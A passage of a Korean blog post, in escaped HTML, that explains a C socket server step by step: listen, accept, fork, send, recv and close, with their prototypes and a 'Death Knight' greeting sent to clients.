style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(lisetn(server_fd,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;listen&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit(&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;sin_size에 sockaddr_in 구조체의 크기를 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;sin_size&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;sizeof&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;sockaddr_in);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;accept() 함수는 클라이언트의 접속 요청을 받고, 클라이언트와 통신하는 전용 소켓을 생성한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;accept() 함수의 기본형은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;int accept (int sockfd, struct sockaddr *addr, socklen_t *addrlen);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int sockfd : 소켓 디스크립터&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;struct sockaddr *addr : client의 주소 정보를 가지고 있는 포인터이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;socklen_t addrlen: struct sockaddr *addr 포인터가 가르키는 구조체의 크기&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;-1을 반환하면 실패, -1 이외의 값은 새로운 소켓 디스크립터의 번호이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;클라이언트 접속을 요청할 때, 클라이언트와 통신하는 전용 소켓을 생성한다. 만일 실패하면 accept에 관한 실패 error를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;((client_fd&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;accept(server_fd,&amp;nbsp;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;struct&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;sockaddr&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;clinet_addr,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;sin_size))&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;perror(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;accept&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;continue&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;fork() 함수는 현재 실행하고 있는 프로세스를 복사해 똑같은 기능을 하는 프로세스를 만드는 함수이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fork() 함수의 원형은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;pid_t fork(void);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실행에 실패하면 return -1, 성공하면 부모 프로세스에게 새로 생성된 자식 프로세스 PID가 반환되고, 자식 프로세스는 0이 반환된다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;send() 함수는 연결된 서버나 클라이언트로 데이터를 전송한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;send() 함수의 원형은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;int send(int sockfd, const void *msg, size_t len, int flags);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int sockfd: 소켓 디스크립터&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;void *msg: 전송할 데이터&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;size_t len: 데이터의 바이트 단위 길이&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int flags: 아래의 옵션이 가능하다. 옵션을 사용하지 않으명 0이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992053335BD58ED217&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992053335BD58ED217&quot; width=&quot;1000&quot; height=&quot;187&quot; filename=&quot;이미지 007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;return -1 일 때 실패했고, -1 이외의 수가 return 되면 실제 전송한 byte 수이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fork가 성공하면 아래와 같은 행위를 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;client에 &quot;Death Knight : Not even death can save you from me!\n&quot;를 52 byte 전송한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;client에 &quot;You: &quot; 를 6 byte 전송한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fork()){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;send(client_fd,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Death&amp;nbsp;Knight&amp;nbsp;:&amp;nbsp;Not&amp;nbsp;even&amp;nbsp;death&amp;nbsp;can&amp;nbsp;save&amp;nbsp;you&amp;nbsp;from&amp;nbsp;me!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;52&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;send(client_fd,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;You&amp;nbsp;:&amp;nbsp;&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;recv() 함수는 소켓으로부터 데이터를 수신한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;recv() 함수의 원형은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;int recv(int sockfd, void *buf, size_t len, int flags);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int sockfd : 소켓 디스크립터&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;void *buf : 수신할 버퍼 포인터 데이터&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;size_t len : 버퍼의 byte size&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int flags : 아래의 옵션을 사용가능하다 사용하지 않으면 0으로 set 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;return -1이면 실패, -1 이외의 값을 return 하면 실제 수신한 byte의 수 이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/992AF2425BD590C108&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F992AF2425BD590C108&quot; width=&quot;1000&quot; height=&quot;187&quot; filename=&quot;이미지 007.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;close() 함수는 파일 디스크립터를 종료하는 함수이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;close() 함수의 원형은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(228, 247, 186);&quot;&gt;int close(int fd);&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br 